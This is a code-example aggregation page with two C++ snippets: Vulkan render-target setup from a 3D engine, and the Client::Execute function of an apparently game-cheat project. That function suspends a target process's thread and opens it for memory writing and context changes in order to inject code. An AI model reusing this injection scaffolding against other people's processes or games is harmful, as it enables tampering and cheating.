void RenderViewport::AllocateRenderTargets(rhi::GfxSetting & gfxSetting)
{
	if (m_RenderPass)
	{
		VkFormat depthFormat = g_FormatTable[gfxSetting.DepthStencilFormat];
		GetSupportedDepthFormat(GetPhysicalDevice(), &depthFormat);
		VkImage depthImage;
		VkImageCreateInfo image = {};
		image.sType = VK_STRUCTURE_TYPE_IMAGE_CREATE_INFO;
		image.imageType = VK_IMAGE_TYPE_2D;
		image.format = depthFormat;
		// Use example's height and width
		image.extent = { GetWidth(), GetHeight(), 1 };
		image.mipLevels = 1;
		image.arrayLayers = 1;
		image.samples = VK_SAMPLE_COUNT_1_BIT;
		image.tiling = VK_IMAGE_TILING_OPTIMAL;
		image.usage = VK_IMAGE_USAGE_DEPTH_STENCIL_ATTACHMENT_BIT | VK_IMAGE_USAGE_TRANSFER_SRC_BIT;
		image.initialLayout = VK_IMAGE_LAYOUT_UNDEFINED;
		vkCreateImage(GetRawDevice(), &image, nullptr, &depthImage);


		VkDeviceMemory depthMem;
		// Allocate memory for the image (device local) and bind it to our image
		VkMemoryAllocateInfo memAlloc = {};
		memAlloc.sType = VK_STRUCTURE_TYPE_MEMORY_ALLOCATE_INFO;
		VkMemoryRequirements memReqs;
		vkGetImageMemoryRequirements(GetRawDevice(), depthImage, &memReqs);
		memAlloc.allocationSize = memReqs.size;
		GetDevice()->FindMemoryType(memReqs.memoryTypeBits, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT, &memAlloc.memoryTypeIndex);
		vkAllocateMemory(GetRawDevice(), &memAlloc, nullptr, &depthMem);
		vkBindImageMemory(GetRawDevice(), depthImage, depthMem, 0);

		auto layoutCmd = static_cast<CommandContext*>(GetDevice()->NewCommandContext(rhi::ECMD_Graphics));
		ImageMemoryBarrierParams params(depthImage,
			VK_IMAGE_LAYOUT_UNDEFINED,
			VK_IMAGE_LAYOUT_DEPTH_STENCIL_ATTACHMENT_OPTIMAL,
			VK_PIPELINE_STAGE_ALL_COMMANDS_BIT,
			VK_PIPELINE_STAGE_BOTTOM_OF_PIPE_BIT);
		layoutCmd->Begin();
		params.MipLevelCount(1).AspectMask(VK_IMAGE_ASPECT_DEPTH_BIT | VK_IMAGE_ASPECT_STENCIL_BIT).LayerCount(1);
		layoutCmd->PipelineBarrierImageMemory(params);
		layoutCmd->End();
		layoutCmd->Execute(false);

		VkImageView depthView;
		VkImageViewCreateInfo depthStencilView = {};
		depthStencilView.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO;
		depthStencilView.viewType = VK_IMAGE_VIEW_TYPE_2D;
		depthStencilView.format = depthFormat;
		depthStencilView.subresourceRange = {};
		depthStencilView.subresourceRange.aspectMask = DetermineAspectMask(depthFormat);
		depthStencilView.subresourceRange.baseMipLevel = 0;
		depthStencilView.subresourceRange.levelCount = 1;
		depthStencilView.subresourceRange.baseArrayLayer = 0;
		depthStencilView.subresourceRange.layerCount = 1;
		depthStencilView.image = depthImage;
		vkCreateImageView(GetRawDevice(), &depthStencilView, nullptr, &depthView);

		m_RenderTargets.resize(m_NumBufferCount);
		RenderpassOptions option = m_RenderPass->GetOption();
		VkFormat colorFmt = option.GetAttachments()[0].GetFormat();
		for (uint32_t i = 0; i < m_NumBufferCount; ++i)
		{
			VkImage colorImage = m_pSwapChain->GetBackImage(i);
			auto colorImageInfo = ImageViewInfo::CreateColorImageView(GetRawDevice(), colorFmt, colorImage);
			VKLOG(Info, "swapchain imageView created . (0x%0x).", colorImageInfo.first);
			colorImageInfo.second.components = {
				VK_COMPONENT_SWIZZLE_R,
				VK_COMPONENT_SWIZZLE_G,
				VK_COMPONENT_SWIZZLE_B,
				VK_COMPONENT_SWIZZLE_A
			};
			auto colorTex = Texture::CreateFromSwapChain(colorImage, colorImageInfo.first, colorImageInfo.second, GetDevice());

			FrameBuffer::Attachment colorAttach(colorImageInfo.first);
			FrameBuffer::Attachment depthAttach(depthView);
			FrameBuffer::Option op;
			op.Width = GetWidth();
			op.Height = GetHeight();
			op.Attachments.push_back(colorAttach);
			op.Attachments.push_back(depthAttach);
			auto framebuffer = SpFramebuffer(new FrameBuffer(GetDevice(), m_RenderPass->GetPass(), op));
			m_RenderTargets[i] = std::make_shared<RenderTarget>(GetDevice(), colorTex, framebuffer, m_RenderPass->GetPass());
		}
	}
}
开发者ID:aonorin,项目名称:kaleido3d,代码行数:87,代码来源:VkRenderViewport.cpp


示例20: ALLOCATE_ARRAY

VOID Client::Execute()
{
    ClientAPI::Constructor();

    //
    // Get the command line of the application
    //
    LPWSTR szwProcess  = ALLOCATE_ARRAY (WCHAR, MAX_PATH + 1);
    LPWSTR szwFilename = ALLOCATE_ARRAY (WCHAR, MAX_PATH + 1);
    BOOL   bIsLaunched = FALSE;
    GetCommandLine(szwProcess, szwFilename, &bIsLaunched);

    //
    // Contains the process and thread handle
    //
    HANDLE hProcess = NULL, hThread = NULL;
    if (bIsLaunched == TRUE)
    {
	    //
	    // Should the inyector also launch the application from a known state?
	    //
	    STARTUPINFOW pExecutionData;
	    PROCESS_INFORMATION pProcessData;
	    pExecutionData.cb = sizeof(pExecutionData);

	    //
	    // Attempt to load the specified target
	    //
	    if (!fnCreateProcessW(szwProcess, 
	    					  NULL, 
	    					  NULL, 
	    					  NULL, 
	    					  FALSE,
	                          INHERIT_CALLER_PRIORITY | CREATE_SUSPENDED, 
	                          NULL, 
	                          NULL, 
	                          &pExecutionData, 
	                          &pProcessData))
	    {
	        fnExitProcess(Error::IX_ERROR_PROCESS_NOT_FOUND);
	    }

	    hProcess = pProcessData.hProcess;
	    hThread  = pProcessData.hThread;
	}
	else
	{
	    //
	    // Get the Handle of the target process
	    //
	    DWORD dwUniqueID = GetProcess(ClientAPI::GetHash(szwProcess, FALSE));
	    if  (dwUniqueID == Error::IX_ERROR)
	    {
	        fnExitProcess(Error::IX_ERROR_PROCESS_NOT_FOUND);
	    }

	    //
	    // Open the target process for querying thread
	    //
	    hProcess = fnOpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwUniqueID);
	    if (!hProcess)
	    {
	        fnExitProcess(Error::IX_ERROR_PROCESS_NOT_OPEN);
	    }

	    //
	    // Find available thread
	    //
	    DWORD dwThreadID = GetThread(dwUniqueID);
	    if  (dwThreadID == Error::IX_ERROR)
	    {
	        fnExitProcess(Error::IX_ERROR_THREAD_NOT_FOUND);
	    }

	    // Open the thread
	    hThread = fnOpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME, 
	    	FALSE, 
	    	dwThreadID);
	    if  (hThread == 0)
	    {
	        fnExitProcess(Error::IX_ERROR_THREAD_NOT_OPEN);
	    }
	    fnSuspendThread(hThread);
	}

	//
	// Execute the code
	//
    DWORD dwReturn = Execute(hProcess, hThread, szwFilename);

    //
    // Free allocated memory that was allocated when
    // requested from the Win32 command line
    //
    FREE (szwProcess);
    FREE (szwFilename);

    //
    // Exit process
    //
//.........这里部分代码省略.........
开发者ID:ArgentumCheatline,项目名称:-AoM--Client,代码行数:101,代码来源:Client.cpp



注:本文中的Execute函


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ ExecuteCmd函数代码示例发布时间:2022-05-30
下一篇:
C++ ExecStoreTuple函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap